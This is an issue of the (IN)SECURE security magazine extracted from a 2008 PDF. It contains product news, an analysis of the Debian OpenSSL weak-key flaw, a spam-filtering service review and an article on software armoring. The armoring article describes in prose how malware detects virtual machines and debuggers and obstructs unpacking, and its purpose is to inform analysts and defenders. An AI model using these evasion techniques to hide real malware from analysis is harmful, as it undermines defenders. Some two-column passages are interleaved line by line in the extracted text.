You are on page 1of 100

Summer has arrived and this issue of (IN)SECURE is filled with articles discussing some very hot

topics to go with the weather. In this issue you can read about open redirect vulnerabilities,
identity theft, security awareness, point security solutions, migration from email to web borne
threats, hacking Second Life and much more!

We!re pleased to have received an overwhelming response since the last issue and we already
have interesting articles from new writers lined up for upcoming releases. If you!d like to write for
us, do drop me an e-mail with your idea!

Mirko Zorz
Chief Editor

Visit the magazine website at www.insecuremag.com

(IN)SECURE Magazine contacts


Feedback and contributions: Mirko Zorz, Chief Editor - editor@insecuremag.com
Marketing: Berislav Kucan, Director of Marketing - marketing@insecuremag.com

Distribution
(IN)SECURE Magazine can be freely distributed in the form of the original, non modified PDF document.
Distribution of modified versions of (IN)SECURE Magazine content is prohibited without the explicit
permission from the editor.

Copyright HNS Consulting Ltd. 2008.

www.insecuremag.com
SSH Tectia Server 6.0 for IBM z/OS has been released

SSH announced the general availability of SSH Tec-


tia Server 6.0 for IBM z/OS. SSH Tectia Server for
IBM z/OS is an advanced, cost-effective, secure file
transfer solution for IBM mainframe environments.

Offering state-of-the-art encryption and authentica-


tion technologies, it allows enterprises to quickly and
easily secure file transfers and other data-in-transit
across, and between, z/OS, Windows, UNIX, and
Linux environments, with no changes to Job Control
Language (JCL) tasks or scripts and no modifica-
tions to the existing infrastructure or applications.
(www.ssh.com)

SonicWALL updates its SSL VPN appliances

SonicWALL released flexible new enhancements to its SSL VPN product


line, making it even easier for small to mid-size businesses to use and
manage their secure remote access and technical support. The new 3.0
firmware release for the SonicWALL SSL-VPN 2000 and 4000 platforms
streamlines remote access administration with a more intuitive interface
and builds upon the recent successful launch of SonicWALL Virtual Assist clientless remote sup-
port module with improved features that increase IT staff productivity and decreases time-to-
resolution for incidents. (www.sonicwall.com)

www.insecuremag.com ! ! 5
Hardware encryption-secured flash drive

EDGE Tech Corp introduced its rough-and-tough, hardware


encryption-secured flash drive, the DiskGO Secure GUARD-
IAN. Utilizing mandatory 256-bit AES hardware encryption,
the DiskGO Secure GUARDIAN exceeds the government
standard for encrypting data. It features absolute security
and mega-fast transfers, including dual-channel SLC flash
that boasts read speeds of 25MB/s and write speeds of 16MB/s. The drive is encased in an in-
credibly rugged, anodized-aluminum housing that withstands rough treatment and extreme ele-
ments such as water, dirt, and sand. (www.edgetechcorp.com)

Network Box E-Series consolidates network defenses

Network Box USA announced the new E-Series, a product line


that enables companies to consolidate their network security
through one solution and greatly reduce the strain on operat-
ing resources. The E-Series product range includes solutions
for medium-sized enterprises (model E1000) to large ones
(E2000 and E4000), allowing the Network Box service to grow
with their customers. The memory of the Network Box E-Series means that it can easily maintain
a library of old threats that sporadically reappear - unlike many security devices that purge data-
bases because of limited memory, leaving companies open to attack. (www.networkboxusa.com)

New multi-gigabit IDS/IPS analyzes VoIP traffic

Enterasys Networks announced a new Dragon Multi-Gigabit Intru-


sion Detection & Prevention System which joins the existing Gigabit
and 10 Gigabit advanced security systems. All of the Dragon appli-
ances now support Enterasys distributed intrusion prevention capa-
bilities to automatically sense and respond to threats in real-time
across multi-vendor wired and wireless networks. When deployed
in conjunction with the Enterasys NAC solution, unique IP-to-ID
mapping capabilities immediately identify, locate, isolate and re-
move the source of malicious network traffic in real-time. (www.enterasys.com)

Secure remote access for Apple iPhone from Check Point

Check Point announced Check Point VPN-1 support for the


Apple iPhone, allowing secure remote access to corporate
network systems. It enables an encrypted connection be-
tween the iPhone and VPN-1 gateway, protecting in-transit
data. It supports the L2TP client embedded in all current and
future iPhone versions, giving customers immediate IPsec
VPN access to corporate servers. Customers can send and
receive email and utilize company resources, including inter-
nal Web portals, file servers and IP-based corporate applica-
tions, without the need for additional software on the iPhone. (www.checkpoint.com)

www.insecuremag.com ! ! 6
Free utility for improving security of VMware ESX Hypervisor deployments

Tripwire ConfigCheck is a free utility that quickly assesses


configuration settings for the VMware ESX hypervisor and
recommends steps to take to ensure even greater security.

Tripwire ConfigCheck provides an immediate assessment of


the configurations of a VMware ESX hypervisor, comparing
them against VMware hardening security guidelines, which are
best practice recommendations for optimal security in virtual
environments, and then providing remediation instructions if
any are needed. (www.tripwire.com/configcheck)

BufferZone Pro security virtualization technology gets an update

Trustware unveiled a new version of its powerful


security software application, BufferZone Pro
3.0. Based on virtualization technology, Buffer-
Zone Pro creates an impenetrable barrier that
isolates Internet activity like Web browsing, in-
stant messaging and peer-to-peer downloads,
from the actual underlying PC"s operating sys-
tem. This approach eliminates the need for file
and traffic scanning as well as analysis of mali-
cious code. (www.trustware.com)

High-availability IP SAN with encryption

StoneFly introduced SAN-based encryption capabilities that give


enterprise customers another layer of protection in combating
damaging internal and external security breaches while also sim-
plifying compliance initiatives.

Now available as an integrated part of the StoneFly Integrated


Storage Concentrator (ISC) line of high-availability IP SANs, the
new SAN-based encryption will also be offered with other Stone-
Fly IP SANs later this year. (www.stonefly.com)

10 Gig threat management system protects critical IP services

Arbor Networks announced a 10 Gig DDoS detec-


tion and mitigation system that enables application-
layer attack protection. The Threat Management
System 3100 (TMS) delivers deep packet inspec-
tion of more than 80 critical IP services and appli-
cations running on the network, such as DNS,
HTTP, VoIP, IM and P2P, while also delivering
application-layer attack detection, surgical mitiga-
tion and reporting. (www.arbornetworks.com)

www.insecuremag.com ! ! 7
On 17th of September 2006 Debian issued an Background
OpenSSL update to the community running
the unstable distribution. This update which Back in 2006 a package maintainer was sim-
included a customized version of OpenSSL ply trying to get rid of what appeared to be an
made it through the testing stage and eventu- error caused by uninitialized memory. Such
ally found its way to the stable distributions. code conditions are known to be the cause of
The same code was copied by other distribu- bugs which can have very serious security
tions based on Debian, such as Ubuntu, ramifications. The Debian team was making
Knoppix and Xandros. However, two years use of Valgrind and Purify, which are tools that
down the line, it was revealed that this update identify such conditions and generate errors
introduced a bug. This affected all keys gen- accordingly. The decision was to comment out
erated during those 2 years which used the the offending code. Removing this code re-
Debian version of OpenSSL. This flaw re- sulted in removing most of the entropy used to
ceived much attention and complaints from produce the PRNG (Pseudo Random Number
the community. By shipping an OpenSSL li- Generator) which is then used to generate
brary that generated a limited number of keys, keys that are unique and hard to guess. This
the basic assumption that the key is unique code was never removed from the official
and hard to guess was violated. OpenSSL code base and these changes were
shared only amongst Debian and other Linux
In this article we discuss the implications of distributions which were derived from it.
this security flaw and how similar vulnerabili-
ties affect us as security professionals. After When details of this security issue first came
looking at what makes this security issue such out, the various community sites (such as
a big deal, we tackle ideas on how to avoid Slashdot) discussing the security issues ad-
similar future security flaws from making an dressed by the associated advisory got bom-
impact on systems that we build or administer. barded by messages of dismay and disbe-
lieve.

www.insecuremag.com 8
Although some might not have immediately any keys that were previously installed on the
realized the impact of the security flaw, others system. To make this easier, the Debian team
made sure to make it a point that this was not included a tool called ssh-vulnkey which
your typical security flaw. Traditional security searches for blacklisted keys. However, mak-
issues such as buffer overflows, or even ing use of this tool might not be enough espe-
backdoors, are usually easily solved by re- cially if the keys were generated using key
placing a few files. Robust automated meth- lengths not covered by the blacklists. Apart
ods to do this are in place and such security from that, some keys might be generated on a
updates have become routine. In Debian Debian or Ubuntu station and copied to to an-
world this would mean running an “apt-get up- other machine, for example say a Redhat SSH
grade” and occasionally an “apt-get dist- server. This is common behavior when making
upgrade”, and the security holes are auto- use of SSH Public key authentication and the
magically solved for you. But this time, this SSH client is a Debian or Ubuntu workstation.
was not enough! SSL keys that were generated on a Debian
system and signed by a Certificate Authority
If you are in charge of Debian (or derivative such as Verisign, needed to be revoked, re-
distribution) servers then you first needed to generated and then the new keys need to be
install the latest patches and then regenerate signed by the CA.

What makes this security hole different is


the sort of threat it introduces.

The implications and SSL VPN were also in the list of compro-
mised services.
What makes this security hole different is the
sort of threat it introduces. A fundamental as- Then there are attacks that one could do very
sumption in key generation is that the key little about. Take the following scenario as ex-
cannot be guessed without running an ex- ample: an attacker recorded encrypted traffic
haustive search through millions of keys. Any between two hosts (for example at a security
keys generated by the vulnerable version of conference) when the issue was not yet pub-
OpenSSL would be one of 32,767 for that licly known. One of these hosts were making
specific key length and type. That is hardly use of predictable keys. Once the issue was
exhaustive as cryptographic keys are con- publicized, the victim made sure that the serv-
cerned. This means that the original premise ers were patched and the keys regenerated.
that the keys are hard to guess does not apply However it may be possible for an attacker to
anymore and therefore solutions that rely on break the Diffie-Hellmann key exchange in the
OpenSSL for key generation were broken. A network capture. The public key would be in
Man-in-the-Middle attack on a vulnerable the network capture and therefore all the at-
HTTPS or SSH server which has keys gener- tacker needs to do is generate a private key
ated by a vulnerable version of Debian be- which corresponds to the public key used by
comes possible. When an SSH user makes the vulnerable server or client. The attacker
use of public key authentication and has pre- can (at least in theory) then decrypt the cap-
viously generated the keys on a vulnerable tured traffic by making use of nothing more
system, an attacker could launch a brute-force than Wireshark (see wiki.wireshark.org/SSL).
attack and gain access to the server in 20
minutes or less (milw0rm.org/exploits/5622). However this attack is not limited to just offline
This is very different from the assumed decryption of data. If the original vulnerable
months or years that it would take to break public key was captured by an attacker then
into such an account. There was even some there is yet another problem. There were re-
serious discussion (tinyurl.com/6eonne) on ports (blog.fefe.de/?ts=b6c9ec7e) of someone
how easy it is to turn this into a worm which getting hold of a public key of one of the
scans for such vulnerable SSH servers. TOR vulnerable Akamai HTTPS servers.

www.insecuremag.com 9
It is important to note that the captured vul- Luckily this was caught because the system
nerable public key is signed by a trusted Cer- setup for accepting new code into the official
tificate Authority. With this key and the corre- kernel was able to handle such situations. The
sponding private key, this person was able to system is setup in such a way to handle the
conduct a Man in the Middle attack, even introduction of bugs, whether by mistake or
when the real (victim) HTTPS server had re- intentionally introduced.
generated the keys and revoked the original
key. Although certificate revocation should Security flaws in OpenSSL project itself are
prevent this kind of attack, there seems to be identified from time to time by researchers and
various issues surrounding Certificate revoca- open source developers “eyeing” the source
tion lists and the Online certificate status pro- code. Same thing with other popular projects
tocol making this attack possible like Apache, OpenSSH and so on. However it
(tinyurl.com/4x6ja5). is interesting that various security audits for
these projects are funded. For example, an
Given enough eyeballs, all bugs are audit that was sponsored by Darpa in 2002
shallow helped identify various remote code execu-
tions (tinyurl.com/53gnzb).
...or so the theory goes. Reality is of course
more complex than theory. More recently, Google started sponsoring the
oCERT team (ocert.org) which is a group of
The assertion that having the code viewed by people auditing open source projects for secu-
many people leads to better and less buggy rity flaws. They helped identify security issues
code does seem to work in certain cases. in major open source software packages such
However many (such as Ben Laurie, author of as GnuPG and libpng, both of which are
Apache-SSL) now argue that this argument widely distributed. This seems to indicate that
does not apply to security even though there are many eyes, it does not
(tinyurl.com/2n6tc3). In 2003 someone tried to mean that those viewers are well trained to
insert an innocuous looking 2 line of code and identify security flaws in source code.
commit it to the main Linux kernel code. This
code if committed to the kernel would have Without the sponsored research, some of
given an easy to use backdoor, allowing mali- these flaws might have never been fixed, or
cious binaries running under normal user ac- they might have been found a bit too late.
count to elevate privileges to gain root access.

The assertion that having the code viewed by many


people leads to better and less buggy code does seem
to work in certain cases.

Then are cases where the “many eyes, shal- error. Amazingly enough, the SAMBA group
low bugs” catchphrase has been proven had worked around the bug for years.
wrong. In May 2008, a bug in various BSDs One thing is for sure. Even if the idea that hav-
was identified and fixed after 25 years. Al- ing the source code available for public scru-
though not a code execution security flaw, this tiny actually means that the good guys are
bug resulted in a crash in various applications watching for security flaws, it will not work
such as SAMBA. Interestingly, the SAMBA when source code that is modified for the
project team knew about the bug, tried to re- needs of a specific Linux distribution.
port it, but was sent back because there was
no useable test scenario to repeat the issue. While the original software might have been
audited by security researchers and the de-
Only 25 years later, when Marc Balmer was velopers, the modified distribution-specific
contacted by an OpenBSD user, he found the version could still have security flaws that
were not in the original version.

www.insecuremag.com 10
A quick look at a diff between the original There simply are not that many trained code
OpenSSL source code and the one shipped auditors that will invest their time just for a
by Debian shows that at least 18 C source good cause. Many of these people have well
code files were changed. Although some se- paying jobs and not enough motivation to help
curity flaws are easy to identify, many others find and fix such flaws.
are more subtle and require trained eyes.

Security software is not necessarily secure.

Where do we go from here? details are captured they can be reused by


anyone. If our method of payment did not rely
There are various issues at stake. It is impor- on a shared secret (credit card number) that
tant to understand that one of the things that every merchant we buy from has and can be
makes this security flaw such a big deal is that reused on various systems once obtained,
we rely so much on secure keys. In fact, we then the security exposure would be reduced.
count on OpenSSL and various other security
solutions. The idea that such a system can A practical example would be remote access.
break seems to be unthinkable for some peo- One could make use of SSH to remotely ad-
ple in the industry. minister servers, log in as root and perform all
the tasks easily. It is often recommended that
Security software is not necessarily secure. As no one logs in as root, but since systems ad-
security professionals, we need to start provid- ministrators, more often than not, are required
ing solutions that are resistant to scenarios to perform privileged tasks they end up elevat-
like the one that was introduced by Debian!s ing privileges to root after logging in as a nor-
flawed OpenSSL code. We need to start as- mal user. A better system would be one that
suming that our security software will break at allows the systems administrators to do their
some point in time. Therefore, instead of rely- job while at the same time reducing the
ing on sheer luck and hope that nothing bad chances of something going wrong. On UNIX
happens, we have to start thinking on how to and Linux systems, it is possible to make re-
limit the damage caused by such an incident. strictive use of sudo (tinyurl.com/2rfpqt) so
that users can perform the tasks assigned to
We should be paying more attention to contin- them without having change privileges to a
gency plans and giving more importance to root user the first place. Similarly, when VPN
disaster recovery. We need to start consider- users need only make use of specific services,
ing how tolerant our systems are against suc- then it makes sense to give them access only
cessful attacks when designing systems that to those services.
need to last. One of the ways that we can
achieve this is by reducing the value of the Limiting what can be done when the a user
data being protected by the security solution. has successfully logged in can go a long way
For example we should be advising against to mitigate the severity of unauthorized ac-
passing of credit card details unless necessar- cess. Make sure that every login attempt
ily required. The problem with credit card de- through VPN is safely stored and can be
tails is the value that they hold. Once those checked if things go wrong, because they will!

Sandro Gauci is the owner and Founder of EnableSecurity (www.enablesecurity.com) where he performs R&D
and security consultancy for mid-sized companies. Sandro has over 8 years experience in the security industry
and is focused on analysis of security challenges and providing solutions to such threats. His passion is vul-
nerability research and has previously worked together with various vendors such as Microsoft and Sun to fix
security holes.

Sandro is the author of the free VoIP security scanning suite SIPVicious (sipvicious.org) and can be contacted
at sandro@enablesecurity.com. Read his blog at blog.enablesecurity.com

www.insecuremag.com 11
Spam is an eternal Internet problem. Back in the days we would just get one
or two unsolicited email messages per day, the figures are so large these days
that it became rather painful to manage your email.

With all the messaging security companies out silient email security systems. I have tested a
there, people do have solutions for the prob- hosted portion of their flagship product baring
lem. These vary from desktop software apps, the same name - Red Condor. To shed some
Mail software built-in filtering, local hardware light on the way the company works: Red
appliances to renting the service from Soft- Condor Message Assurance Gateways are
ware as a Service (SaaS) providers. Almost powerful appliances that are doing extended
everyone can identify at least one bad aspect mail filtering. Very large companies can di-
of all of these technologies, but for some time rectly buy the appliances, but those without
now I prefer going the SaaS way. thousands of mailboxes and domains can use
a hosted managed service and still harness
Red Condor (www.redcondor.com) is a man- the power of these appliances.
aged service provider that provides highly re-

Red Condor Message Assurance Gateway 2700 appliance


www.insecuremag.com 12
Throughout the article I will go in deeper with The first thing to do after you open an account
Red Condor's functionality, but for those still with the service is to write in all the relevant
not getting what this service does here is a contact data. The person who opens the ac-
quick overview. The service works so that count is automatically assigned an administra-
email that goes to your mail server first tor privileges, but you can specify information
passes through the Red Condor service. De- on your company, technical and billing con-
pending on your configuration, some emails tacts. When this is setup you can open "Ac-
will meet the filtering rules and won't be deliv- count Summary" to see your account details,
ered or will be labeled as suspicious. That's it, license information and from there you can go
the concept is very simple but effective. For to configure your service.
the details and "what ifs", carry on reading.

The Red Condor dashboard

The user can now start adding domains that just to check if something was placed there in
will get its email traffic inspected. After adding mistake. This is also time consuming, so this
a domain comes the "tough" part - Red Con- kind of a digest option on Red Condor will
dor service has a vast quantity of interesting surely make a lot of users satisfied.
options you can mangle with. The first bracket
relates to "Quarantine Digest" - a wonderful The bottom line is that Red Condor puts all
option I used frequently. When I am outside the suspected mail into quarantine for up to 35
my work hours, I am usually very paranoid days. In this period you can manually check
with my spam filters for personal mailboxes. the quarantine queue online, or even better
While they catch 500-1000 spam emails per you can use the digest option to setup peri-
day, every couple of days I need to spend odical emails (daily, weekly, monthly) where
some time to browse through the Spam folder you will get a list of quarantined emails.

www.insecuremag.com 13
You can filter the filtered emails (no pun in- cepts a virus, adult material, spam and adver-
tended) with different rules such as newest to tising (called junk inside the service). Besides
oldest and vice versa, by subject, sender and this you can set policies for forged and foreign
mailbox. emails. The latter option is a great supplement
as you can stop a number of different spam
The next portion holds the details for specific strains on languages that you don't do any
actions the service should do when it inter- communication on.

A portion of the filtering options

The same system filtering philosophy is taken Condor GUI references it, is available for at-
into consideration for different type of attach- tachments, junk, forged and foreign emails.
ments. You can automatically block emails
with some potentially harmful file types, or The filtering options are finalized with the op-
even just label them and put them through to portunity of filling in your white/black lists.
your mailbox. This labeling, or markup as Red

Detailed filtering options for languages and attachments

After setting the policies for your domain, you tings screen, or good ol' manual adding - one
just need to setup the mailboxes. There are mailbox per line. Each mailbox can be further
two ways of doing it - Automatic Mailbox Dis- configured with practically the same set of fil-
covery, which is bundled in the domain set- ters like you have for a whole domain.

www.insecuremag.com 14
The only difference is if the administrator the user won't be able to surpass these
blocked anything by default for the domain, settings.

Status of the mailboxes added to the service

The final thing from the administrator stand- a couple of specific virus attack summaries
point is to use the powerful reporting features and my favorite one - advanced report. Inside
of the Red Condor managed service. I have this interface, the administrator can select a
counted 10 different report templates including desired time frame and do a thorough inspec-
message categories and handling summaries, tion of the email traffic.

Creating an advanced report

www.insecuremag.com 15
In the text above I discussed the Red Con- server. When you go into Dashboard and
dor's dashboard as seen from the administra- modify a domain the system will automatically
tor's point of view. The user interface is practi- snatch the current mail server configuration
cally spartan, but it focuses on the important for the domain in question. This is done for
things - functionalities and easy of use. Now it later troubleshooting, but for a first time user,
is time to answer all those technical questions. the system will do this and give you a piece of
You are probably asking yourself how do you code your DNS administrator will need to input
setup Red Condor to work with your mail in the DNS Mail Exchanger (MX) records.

Example of a needed change to DNS MX records

For filtering, Red Condor uses proprietary One more weapon in the fight against Mur-
software that besides filtering email based on phy's laws is the Red Condor's Vx technology
content and keywords, analyzes email!s be- that provides fail"safe redundant operation of
havioral to further determine whether a mes- MAG"series network appliances – even if
sage is legitimate mail or spam. It does not those devices are off"line due to overwhelm-
rely on heuristics, DNS blacklists, or Bayesian ing attacks, power failure, or other network
filters. From my experience the engine worked issues.
flawlessly.
Red Condor charges you for every 5 email
The managed service has a couple of hun- accounts you are using their service on. The
dreds of MAG appliances working in the company does not directly sell licenses, but
background and in the same time your ac- they can be bought at PC Mall and a couple of
count and messaging data is redundant with other resellers. I cannot confirm that this is the
at least five or six servers in a couple of data exact pricing, but PC Mall says the 5 user
centers around USA. In case your original license per year is around $79.
mail server goes down, Red Condor's service
will store inbound emails for up to 96 hours. The service is easy to manage, provides pow-
When your server gets back online, mail starts erful email protection and with the price tag in
being delivered as normally. this range sounds like a fantastic way of up-
grading your email communication to a new
secure and spam proof level.

Mark Woodstone is a security consultant that works for a large Internet Presence Provider (IPP) that serves
about 4000 clients from 30 countries worldwide.

www.insecuremag.com 16
Removing software armoring from malware and commercial software is an
important part of an analyst's reverse engineering process. Software armoring
techniques have increasingly created problems for reverse engineers and
software security analysts. As protections such as packers, run-time
obfuscators, virtual machine and debugger detectors become common,
newer methods must be developed to cope with them. This is the first article
in a series of two which will present various methods of software armoring.
The second article will show methods to remove their protections.

Software programs are becoming more diffi- functionality. Unfortunately anti-debugging


cult to reverse engineer and analyze. A variety methods have compensated for this. Methods
of methods are being used to prevent stan- such as INT3 instruction scanning, which look
dard disassembly techniques. These methods for the presence of a debugging instruction
were pioneered in the realm of anti-piracy and call, are effective at detecting debugger ac-
intellectual property protection, but have re- cess.
cently found their way into malicious software
for the purposes of preventing analysis and In the case of the Storm worm, these tech-
defense. These methods are often called ob- niques were largely ignored. Instead of using
fuscation, packing, or armoring. packing and encryption the worm instead re-
lies on a hybrid kernel and user-space jump-
There are many ways that software can pro- ing technique. The bouncing method prevents
tect or armor itself from analysis. The first is to the analyst from effectively analyzing the
perform simple debugger detection. On Win- software.
dows systems, this is done by analyzing the
process execution block (PEB) for the pres- A common method for instrumenting applica-
ence of the debugger bit. This bit can simply tion behavior is to use a virtual machine to
be toggled, while still retaining the debugging simulate a full running environment.

www.insecuremag.com 17
This has the benefit of isolating the code in- difficulty decoding, disassembling, and de-
side of a self-contained space that can be bugging.
more closely controlled than raw hardware.
There are several software armoring tech- Software armoring is heavily used by mal-
niques that can be used for generically detect- ware. Legitimate software has been using
ing the presence of virtual machines. All cur- techniques like these to protect themselves
rent virtual machines exhibit identifiable char- from analysis and modification for some time.
acteristics that can be used to change pro- Windows Server 2003 and Windows Vista
gram operation (e.g. halt execution). employ a system to protect their internal work-
ings. Other software use these systems to re-
One of the more insidious and difficult to ana- duce the size of their distribution, and prevent
lyze forms of binary obfuscation is the shifting reverse engineering. This presents a great
decode frame. This partially decodes a run- difficulty to the security analyst for both under-
ning program, executes that code, and then standing, assessing risk of applications, and
re-encodes it before repeating the process defending against malware threats.
with a new portion. This provides the greatest

Software armoring is heavily used by malware.

Software armoring techniques the decoding stub in-depth in order to write a


decoder.
It is useful to have an understanding of the
methods used by software armoring develop- Virtual machine detection
ers to gain an understanding of how to stop
them. Reverse engineers have a common set Detecting the presence of a virtual machine is
of tools that are used to find useful information one of the most important methods available
from a binary. The goal of the developer pro- to the malware author to protect code from
tecting his code is to prevent the reverse en- analysis. The target user for most malware
gineer from discovering how it works. In this infections typically does not regularly run ap-
context, it is useful to analyze the techniques plications inside of a virtual machine. The
from both sides of the conflict. This section presence of a virtual machine typically indi-
discusses packing, virtual machine detection, cates that the program is being analyzed and
debugger detection, and finally the shifting monitored. Due to inherent flaws in the X86
decode problem. architecture, virtualization cannot be sup-
ported at the hardware level without newer
Packing and encryption processor features such as Intel and AMD's
hardware virtualization support. As such there
Packing is the method that an executable are a few common methods that are available
uses to obfuscate an executable or to reduce to detect virtual machines.
its size. Packers are typically implemented
with a small decoder stub that is used to un- The common theme throughout all of the ad-
pack or de-obfuscate the binary in question. vanced virtual machine detection methodolo-
Once the decoding or "unpacking" process is gies is a single instruction that must yield the
complete, the decoder stub then transfers same results in ring-0, or the kernel execution
control back to the original code of the pro- space, and at the user privilege execution
gram. Execution then proceeds similarly to space. The X86 architecture uses the SLDT,
that of a normal executable. Packers create SIDT, and SGDT instructions. The malware
problems for malware analysts. First, current author can simply perform these instructions
methods that are generically available require and compare the results afterwards. The re-
the analyst to manually single-step a debug- turned data will be different for software virtual
ger in order to find and expose the actual ex- machines executing these instructions when
ecutable code or to analyze the assembly of compared to real-hardware executing the

www.insecuremag.com 18
instructions. One method that can be used to breakpoint. However, programmers almost
circumvent such detection is to disable "ac- never put INT3 instructions directly into their
celeration" inside of a virtual machine envi- programs at compile time, so it is likely that if
ronment (in this case VMware). This degrades this is observed, the associated process is be-
performance but is usually evades detection. ing monitored. Malware authors have imple-
Unfortunately, when running in the non- mented various methods to scan for the pres-
accelerated mode, there are still processor ence of this INT3 instruction and alter execu-
implementation discrepancies that can be tion if it is found. A simple CRC check or MD5
used to identify the presence of a virtual ma- checksum can detect and validate that the
chine such as the SMSW instruction. code has not been altered by an INT3.

Debugger detection Unhandled structured exception handlers

Debugging a running executable is one of the Structured exception handler (SEH) unpack-
most powerful techniques available to a re- ing creates another interesting problem for the
verse engineer to quickly understand program reverse engineer. SEHs are methods of catch-
execution. It is possible to see the actual run- ing exceptions from running applications.
time dynamics of an executable, as well as
monitor system calls. Unfortunately detecting These are used when a particular program
the presence of a debugger is trivial for the has a runtime error. Normally when an SEH is
debugee. This section discusses process de- reached, execution is passed to the handler
bugging in detail. the program developer has defined or treated
as an unhandled exception and execution
Windows debugging API halts. Malware authors have seized this as a
method for implementing an unpacker. The
The Windows operating system implements a malware author inserts a SEH and their own
robust API for developing custom application handler. This handler is typically a set of un-
debuggers. It is implemented using a call-back packing instructions. The SEH frame contains
mechanism, which allows the operating sys- a pointer to the previous SEH frame and a
tem to single-step a running program at the pointer to the exception handler for the current
machine instruction level. This API is used by frame. By triggering SEH exceptions, the ex-
the OllyDbg, WinDbg, and Visual Studio de- ception stack of a malware program is un-
buggers. The API allows the debugger to re- wound until an appropriate handler is found.
ceive events based on pre-set instruction level
flagging. Detection is as simple as looking at Due to the nature of the debugging interface,
the process execution block, PEB, for a run- the debugger will insert its own SEH handling
ning program. The PEB is a data-structure onto the same stack. When the debugged
that contains information relevant to the run- program is run, it will raise an exception. This
ning process inside of the Windows operating causes the debugger's stack to catch and
system. One field that is available inside the handle the SEH instead of the debugged pro-
data-structure is "BeingDebugged" field. If this gram, possibly crashing the debugger and
bit is set, it indicates that a debugger is at- preventing the malware from unpacking itself.
tached to the process. Fortunately for the ana- Since there is no way for the debugger to dis-
lyst, this bit can be toggled without losing the cern between an exception generated by an
debugging capability. error in its program and the debugged pro-
gram, this typically thwarts unpacking.
INT3 instruction scanning
Debugging programs such as OllyDbg have
The next method used to detect a debugger is implemented methods to allow the reverse
the INT3 instruction, sometimes referred to as engineer to either handle the exception inside
a breakpoint exception. This instruction the debugger or hand it to the debugged ap-
causes a CPU trap to occur in the operating plication's stack. This can be a very labor in-
system. The trap is propagated to the running tensive and tedious process if many SEHs are
process via the operating system. This pro- used.
vides a method by that a developer can set a

www.insecuremag.com 19
Mid-instruction jumping cuted, then re-encoded. This method has the
effect of preventing static post-execution
Typically a debugger will try to interpret the analysis. This precludes the ability to step the
machine code of a running executable and executable to the position of the original entry
print out more human readable output. Given point and dump the entire executable. It also
the non-fixed-size of the Intel instruction set, significantly affects program analysis and cre-
this creates many opportunities for obfusca- ates problems for rapid analysis. To date, the
tion of the run-time execution. A typical trick only options available are to reverse engineer
that can be performed is to take a long in- the decoding mechanism and manually de-
struction and the value of a nop (0x90) as a code the executable or to use a dynamic
parameter. This will cause the CPU to run to method to extract the relevant information.
the next instruction and continue execution.
Conclusion
Debuggers typically decode portions of the
assembly for a running process. When a mid- The software developer has many tools avail-
instruction jump is observed it will cause an able to them to confuse the reverse engineer.
error condition inside many debuggers. Each of these techniques presents their own
challenges to remove. In part II of this article
Shifting decode frame we will discuss various techniques used by
reverse engineers to remove these protec-
Shifting decode frame is a method by which a tions.
portion of the executable is unpacked, exe-

Danny Quist is the CEO and co-founder of Offensive Computing (www.offensivecomputing.net). He is a PhD
candidate at New Mexico Tech working on automated analysis methods for malware with software and hard-
ware assisted techniques. He has written several defensive systems to mitigate virus attacks on networks and
developed a generic network quarantine technology. He consults with both private and public sectors on sys-
tem and network security. His interests include malware defense, reverse engineering, exploitation methods,
virtual machines, and automatic classification systems.

www.insecuremag.com 20
While no lack of attention is dedicated to the concept of protecting our data
from external threats, evidence has shown that authorized, yet unversed and
unaware, insiders pose an extraordinary risk to an organization!s sensitive
data.

This should come as no surprise given that Over twenty years ago, Congress recognized
employees with little-to-no prior security train- the importance of establishing security
ing or experience may suddenly be responsi- awareness and training programs for govern-
ble for thousands of records of sensitive data ment employees by passing the Computer
as part of their job. Occasionally poor techni- Security Act of 1987. The Act required that
cal security controls further exacerbate the "Each agency shall provide for the mandatory
situation by allowing these inexperienced em- periodic training in computer security aware-
ployees access to more data than they need ness and accepted computer practices of all
for their job. employees who are involved with the man-
agement, use, or operation of each federal
The challenge for those of us in the security computer system within or under the supervi-
community is to ensure employees are aware sion of that agency."
of local security policy and procedure, as well
as trained on how to implement those policies The Federal Information Security Manage-
in a routine and consistent manner. Internal ment Act (FISMA) of 2002 builds upon these
auditing and stringent security controls help to precepts by requiring that an "agency-wide
reduce the threat of malicious employees act- information security program shall include se-
ing out of spite or greed, but the defense curity awareness training to inform personnel,
against employees who simply lack the requi- including contractors and other users of in-
site experience or understanding necessary to formation systems that support the operation
safeguard information is only counterbalanced and assets of the agency, of information secu-
by an aggressive security awareness and rity risks associated with their activities and
training program. their responsibilities in complying with agency

www.insecuremag.com 22
policies and procedures designed to reduce What is the difference between security
these risks. The National Institute of Stan- awareness and training? Security awareness
dards and Technology (NIST) provides a is the first component of an organization!s se-
blueprint for building an information technol- curity learning program. The principal purpose
ogy security awareness and training program of establishing information security awareness
with Special Publication 800-50. is to alter workforce behavior by reinforcing
acceptable security practices.
In addition to legislative requirements requir-
ing security awareness and training, com- Security awareness also demonstrates and/or
monly recognized standards such as the In- reiterates an organization!s commitment to
ternational Organization for Standardization/ security by conveying what is important to an
International Electrotechnical Commission organization!s security posture. Awareness is
(ISO/IEC) 27002 standard require conveyed through a number of methods, and
certification-seeking organizations to establish these methods should remain varied to en-
security awareness and training programs. sure maximum exposure.

The principal purpose of establishing information security awareness is to alter workforce


behavior by reinforcing acceptable security practices.

Most commonly awareness is distributed cracked faster than strong passwords always
through the following: gets people!s attention. Other demonstrations
include an insecure desk demonstration
Email - Regularly distributed emails go a long showing example documents in the trash,
way towards creating an atmosphere of passwords written down, and cabinets un-
awareness within an organization. Subject locked, etc. The goal is to create a demon-
matter may include policy reinforcement, cur- stration interesting enough that people retain
rent security news articles applicable to the the information they learned and hopefully
organization, or common security lapses begin self-policing themselves
within the organization (failure to secure
workstation, leaving sensitive documents out, Security training builds upon awareness ac-
etc.) Incentives in the form of gift cards or free tivities by creating a more detailed, thorough
lunches goes a long way towards garnering and specific method of applying security pol-
readership. icy and procedure to employee work assign-
ments based on their role within the organiza-
Posters - Posters placed at strategic loca- tion. Security training is generally more formal
tions within the organization further help to than awareness activities and often takes
reinforce security policies. For example, place in classroom environments allowing for
signage detailing the threat of piggybacking more instructor/student feedback. For exam-
into the facility located at entry/exit points is ple, security training for web application de-
an excellent method of reinforcing the threat velopers may specifically focus on common
of unauthorized visitors. application security threats like cross-site
scripting (XSS), SQL injection attacks, or
Take-aways (key chains, mugs, lanyards, buffer overflows. The class can be tailored to
etc.) - There is a reason why drug manufac- the specific development platform for addi-
turers give away all those take-aways to doc- tional relevance and applicability. Specific se-
tors. Leaving these low-cost trinkets with peo- curity training of this nature would not be well-
